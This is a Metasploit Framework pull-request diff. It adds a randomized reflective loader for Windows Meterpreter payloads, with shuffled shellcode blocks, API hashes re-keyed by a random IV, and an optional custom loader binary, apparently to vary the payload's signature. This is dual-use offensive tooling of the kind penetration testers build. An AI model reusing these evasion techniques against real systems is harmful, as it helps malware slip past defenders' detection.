Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
101 changes: 60 additions & 41 deletions data/shellcode/block_api.x64.graphml

Large diffs are not rendered by default.

97 changes: 58 additions & 39 deletions data/shellcode/block_api.x86.graphml

Large diffs are not rendered by default.

3,758 changes: 3,758 additions & 0 deletions data/shellcode/reflective_loader.x64.graphml

Large diffs are not rendered by default.

3,620 changes: 3,620 additions & 0 deletions data/shellcode/reflective_loader.x86.graphml

Large diffs are not rendered by default.

36 changes: 26 additions & 10 deletions lib/msf/core/payload/windows/meterpreter_loader.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ module Payload::Windows::MeterpreterLoader

include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows
include Msf::Payload::Windows::ReflectiveLoader

def initialize(info = {})
super(update_info(info,
Expand All @@ -28,6 +29,9 @@ def initialize(info = {})
'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', },
'Stage' => { 'Payload' => "" }
))
register_advanced_options([
OptBool.new('MeterpreterLoader::CustomLoader', [ false, 'Use a custom loader', false ]),
], self.class)
end

def asm_invoke_metsrv(opts={})
Expand Down Expand Up @@ -93,15 +97,28 @@ def generate_config(opts={})
def stage_meterpreter(opts={})
ds = opts[:datastore] || datastore
debug_build = ds['MeterpreterDebugBuild']
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build))

custom_loader = ds['MeterpreterLoader::CustomLoader'] == true

loader = reflective_loader()
if custom_loader
custom_loader_path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'custom_loader.x86.bin')
unless ::File.exist?(custom_loader_path)
print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.")
raise RuntimeError, "Custom loader not found at #{custom_loader_path}"
end
loader = ::File.binread(custom_loader_path)
end
dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build)))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: opts[:stageless] == true
}

rdi_offset: dll.length, # we will append the dll to the end of the custom loader, so the offset to it is just the length of the custom loader
length: dll.length + loader.length, # the total length of the payload is the length of the custom loader + the dll
stageless: opts[:stageless] == true
}
puts("WARNING: Local file #{custom_loader_path} is being used") if custom_loader
vprint_status("Loader length: #{loader.length} bytes")
vprint_status("DLL length: #{dll.length} bytes")
vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes")
vprint_status("Configuration offset: #{asm_opts[:length]} bytes")
asm = asm_invoke_metsrv(asm_opts)

# generate the bootstrap asm
Expand All @@ -114,8 +131,7 @@ def stage_meterpreter(opts={})

# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap

dll
dll + loader
end

end
Expand Down
53 changes: 53 additions & 0 deletions lib/msf/core/payload/windows/reflective_loader.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
module Msf::Payload::Windows::ReflectiveLoader
def reflective_loader(opts = {})
iv = opts.fetch(:iv) { rand(0x100000000) } & 0xFFFFFFFF
reflective_loader_asm = Rex::Payloads::Shuffle.from_graphml_file(
File.join(Msf::Config.install_root, 'data', 'shellcode', 'reflective_loader.x86.graphml'),
arch: ARCH_X86,
name: 'reflective_loader'
)

_patch_bytes = lambda { |asm, oldbytes, newbytes|
unless asm.include?(oldbytes)
raise "Failed to patch, opcode: #{oldbytes} not found."
end
asm.sub!(oldbytes, newbytes)
}

_to_hashbytes = lambda { |name, nullbyte: false, unicode: false, iv: 0|
name = name.unpack('C*').pack('v*') if unicode
fun_hash = Rex::Text.ror13_hash(name + (nullbyte ? "\x00" : ""), iv: iv) & 0xFFFFFFFF
[fun_hash].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ')
}

# Patching IV
iv_bytes = [iv].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ')
reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xbf, 0x00, 0x00, 0x00, 0x00", "db 0xbf, #{iv_bytes}")
reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xb8, 0x00, 0x00, 0x00, 0x00", "db 0xb8, #{iv_bytes}")

vprint_status("Random IV: #{iv}")
patches = [
{ :base => "db 0x81, 0xff,", name: 'KERNEL32.DLL', unicode: true },
{ :base => "db 0x81, 0xff,", name: 'NTDLL.DLL', unicode: true},
{ :base => "db 0x3d,", name: 'LoadLibraryA', count: 2},
{ :base => "db 0x3d,", name: 'GetProcAddress'},
{ :base => "db 0x3d,", name: 'ZwAllocateVirtualMemory', count: 2},
{ :base => "db 0x3d,", name: 'ZwProtectVirtualMemory'},
{ :base => "db 0x3d,", name: 'NtFlushInstructionCache', count: 2},
]

patches.each { |patch|
count = patch.fetch(:count) { 1 }
old_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: 0)
new_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: iv)
count.times do
vprint_status("Applying patch from #{old_hash} to #{new_hash} for #{patch[:name]}")
reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "#{patch[:base]} #{old_hash}", "#{patch[:base]} #{new_hash}")
end
}
code = Metasm::Shellcode.assemble(Metasm::X86.new, reflective_loader_asm).encode_string
hash = Rex::Text.md5_raw(code).unpack("H*").first
vprint_status("Reflective Loader GraphML fingerprint: #{hash}")
code
end
end
41 changes: 27 additions & 14 deletions lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ module Payload::Windows::MeterpreterLoader_x64

include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows
include Msf::Payload::Windows::ReflectiveLoaderX64

def initialize(info = {})
super(update_info(info,
Expand All @@ -29,6 +30,9 @@ def initialize(info = {})
'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' },
'Stage' => { 'Payload' => "" }
))
register_advanced_options([
OptBool.new('MeterpreterLoader::CustomLoader', [ false, 'Use a custom loader', false ]),
], self.class)
end

def asm_invoke_metsrv(opts={})
Expand Down Expand Up @@ -97,15 +101,28 @@ def generate_config(opts={})
def stage_meterpreter(opts={})
ds = opts[:datastore] || datastore
debug_build = ds['MeterpreterDebugBuild']
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build))

custom_loader = ds['MeterpreterLoader::CustomLoader'] == true

loader = reflective_loader()
if custom_loader
custom_loader_path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'custom_loader.x64.bin')
unless ::File.exist?(custom_loader_path)
print_status("Custom loader not found at #{custom_loader_path}, drop your loader there and try again.")
raise RuntimeError, "Custom loader not found at #{custom_loader_path}"
end
loader = ::File.binread(custom_loader_path)
end
dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll', debug: debug_build)))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: opts[:stageless] == true
}

rdi_offset: dll.length, # we will append the dll to the end of the custom loader, so the offset to it is just the length of the custom loader
length: dll.length + loader.length, # the total length of the payload is the length of the custom loader + the dll
stageless: opts[:stageless] == true
}
puts("WARNING: Local file #{custom_loader_path} is being used") if custom_loader
vprint_status("Loader length: #{loader.length} bytes")
vprint_status("DLL length: #{dll.length} bytes")
vprint_status("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes")
vprint_status("Configuration offset: #{asm_opts[:length]} bytes")
asm = asm_invoke_metsrv(asm_opts)

# generate the bootstrap asm
Expand All @@ -118,12 +135,8 @@ def stage_meterpreter(opts={})

# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap

dll
dll + loader
end

end

end


end
55 changes: 55 additions & 0 deletions lib/msf/core/payload/windows/x64/reflective_loader_x64.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
module Msf::Payload::Windows::ReflectiveLoaderX64

def reflective_loader(opts = {})
iv = opts.fetch(:iv) { rand(0x100000000) } & 0xFFFFFFFF

reflective_loader_asm = Rex::Payloads::Shuffle.from_graphml_file(
File.join(Msf::Config.install_root, 'data', 'shellcode', 'reflective_loader.x64.graphml'),
arch: ARCH_X64,
name: 'reflective_loader'
)

_patch_bytes = lambda { |asm, oldbytes, newbytes|
unless asm.include?(oldbytes)
raise "Failed to patch, opcode: #{oldbytes} not found."
end
asm.sub!(oldbytes, newbytes)
}

_to_hashbytes = lambda { |name, nullbyte: false, unicode: false, iv: 0|
name = name.unpack('C*').pack('v*') if unicode
fun_hash = Rex::Text.ror13_hash(name + (nullbyte ? "\x00" : ""), iv: iv) & 0xFFFFFFFF
[fun_hash].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ')
}

# Patching IV
iv_bytes = [iv].pack('V').bytes.map { |b| "0x%02x" % b }.join(', ')
reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0x41, 0xbc, 0x00, 0x00, 0x00, 0x00", "db 0x41, 0xbc, #{iv_bytes}")
reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "db 0xb8, 0x00, 0x00, 0x00, 0x00", "db 0xb8, #{iv_bytes}")

vprint_status("Random IV: #{iv}")
patches = [
{ :base => "db 0x41, 0x81, 0xfc,", name: 'KERNEL32.DLL', unicode: true },
{ :base => "db 0x41, 0x81, 0xfc,", name: 'NTDLL.DLL', unicode: true},
{ :base => "db 0x3d,", name: 'LoadLibraryA', count: 2},
{ :base => "db 0x3d,", name: 'GetProcAddress'},
{ :base => "db 0x3d,", name: 'ZwAllocateVirtualMemory', count: 2},
{ :base => "db 0x3d,", name: 'ZwProtectVirtualMemory'},
{ :base => "db 0x3d,", name: 'NtFlushInstructionCache', count: 2},
]

patches.each { |patch|
count = patch.fetch(:count) { 1 }
old_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: 0)
new_hash = _to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: iv)
count.times do
vprint_status("Applying patch from #{old_hash} to #{new_hash} for #{patch[:name]}")
reflective_loader_asm = _patch_bytes.call(reflective_loader_asm, "#{patch[:base]} #{old_hash}", "#{patch[:base]} #{new_hash}")
end
}
code = Metasm::Shellcode.assemble(Metasm::X64.new, reflective_loader_asm).encode_string
hash = Rex::Text.md5_raw(code).unpack("H*").first
vprint_status("Reflective Loader GraphML fingerprint: #{hash}")
code
end
end
42 changes: 29 additions & 13 deletions lib/rex/payloads/shuffle.rb
Original file line number Diff line number Diff line change
Expand Up @@ -23,11 +23,19 @@ class Shuffle
# @param name [String] An optional symbol name to apply to the assembly source.
def self.from_graphml_file(file_path, arch: nil, name: nil)
graphml = Rex::Parser::GraphML.from_file(file_path)
blocks = create_path(graphml.nodes.select { |_id,node| node.attributes['type'] == 'block' }, graphml.graphs[0].edges)
blocks.map! { |block| { node: block, instructions: process_block(block) } }
blocks = create_path(graphml.nodes.select { |_id,node| %w[ data instructions-graph ].include?(node.attributes['type']) }, graphml.graphs[0].edges)
blocks.map! do |block|
hash = { node: block }

if block.attributes['type'] == 'instructions-graph'
hash[:instructions] = process_instructions_graph_block(block)
end

hash
end

label_prefix = Rex::Text.rand_text_alpha_lower(4)
labeler = lambda { |address| "loc_#{label_prefix}#{ address.to_s(16).rjust(4, '0') }" }
labeler = lambda { |address| "loc_#{label_prefix}#{address.to_s(16).rjust(4, '0')}" }

source_lines = []
labeled = []
Expand All @@ -36,22 +44,30 @@ def self.from_graphml_file(file_path, arch: nil, name: nil)
if [ Rex::Arch::ARCH_X86, Rex::Arch::ARCH_X64 ].include? arch
source_lines << labeler.call(block[:node].attributes['address']) + ':'
labeled << block[:node].attributes['address']
# by default use the raw binary instruction to avoid syntax compatibility issues with metasm
instructions = block[:instructions].map { |node| 'db ' + node.attributes['instruction.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') }
case block[:node].attributes['type']
when 'data'
instructions = [ 'db ' + block[:node].attributes['data.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') ]
when 'instructions-graph'
# by default use the raw binary instruction to avoid syntax compatibility issues with metasm
instructions = block[:instructions].map { |node| 'db ' + node.attributes['instruction.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') }
end
else
instructions = block[:instructions].map { |node| node.attributes['instruction.source'] }
end

unless arch.nil?
raise ArgumentError, 'Unsupported architecture' if FLOW_INSTRUCTIONS[arch].nil?

# if a supported architecture was specified, use the original source and apply the necessary labels
block[:instructions].each_with_index do |node, index|
next unless match = /^(?<mnemonic>\S+)\s+(?<address>0x[a-f0-9]+)$/.match(node.attributes['instruction.source'])
next unless FLOW_INSTRUCTIONS[arch].include? match[:mnemonic]
if block[:node].attributes['type'] == 'instructions-graph'
# if a supported architecture was specified, use the original source and apply the necessary labels
block[:instructions].each_with_index do |node, index|
next unless match = /^(?<mnemonic>\S+)\s+(?<address>0x[a-f0-9]+)$/.match(node.attributes['instruction.source'])
next unless FLOW_INSTRUCTIONS[arch].include? match[:mnemonic]

address = Integer(match[:address])
instructions[index] = "#{match[:mnemonic]} #{labeler.call(address)}"
label_refs << address
address = Integer(match[:address])
instructions[index] = "#{match[:mnemonic]} #{labeler.call(address)}"
label_refs << address
end
end
end

Expand All @@ -75,7 +91,7 @@ class << self
# Process the specified graph element which represents a single basic block in assembly. This graph element
# contains nodes representing each of its instructions.
#
def process_block(block)
def process_instructions_graph_block(block)
subgraph = block.subgraph
instructions = subgraph.nodes.select { |_id, node| node.attributes['type'] == 'instruction' }
create_path(instructions, subgraph.edges)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = 199238
CachedSize = 200485

include Msf::Payload::TransportConfig
include Msf::Payload::Windows
Expand Down
2 changes: 1 addition & 1 deletion modules/payloads/singles/windows/meterpreter_bind_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = 199238
CachedSize = 200485

include Msf::Payload::TransportConfig
include Msf::Payload::Windows
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = 200284
CachedSize = 201531

include Msf::Payload::TransportConfig
include Msf::Payload::Windows
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = 200284
CachedSize = 201531

include Msf::Payload::TransportConfig
include Msf::Payload::Windows
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = 199238
CachedSize = 200485

include Msf::Payload::TransportConfig
include Msf::Payload::Windows
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = 199238
CachedSize = 200485

include Msf::Payload::TransportConfig
include Msf::Payload::Windows
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = 248902
CachedSize = 250534

include Msf::Payload::TransportConfig
include Msf::Payload::Windows
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
##

module MetasploitModule
CachedSize = 248902
CachedSize = 250534

include Msf::Payload::TransportConfig
include Msf::Payload::Windows
Expand Down
Loading
Loading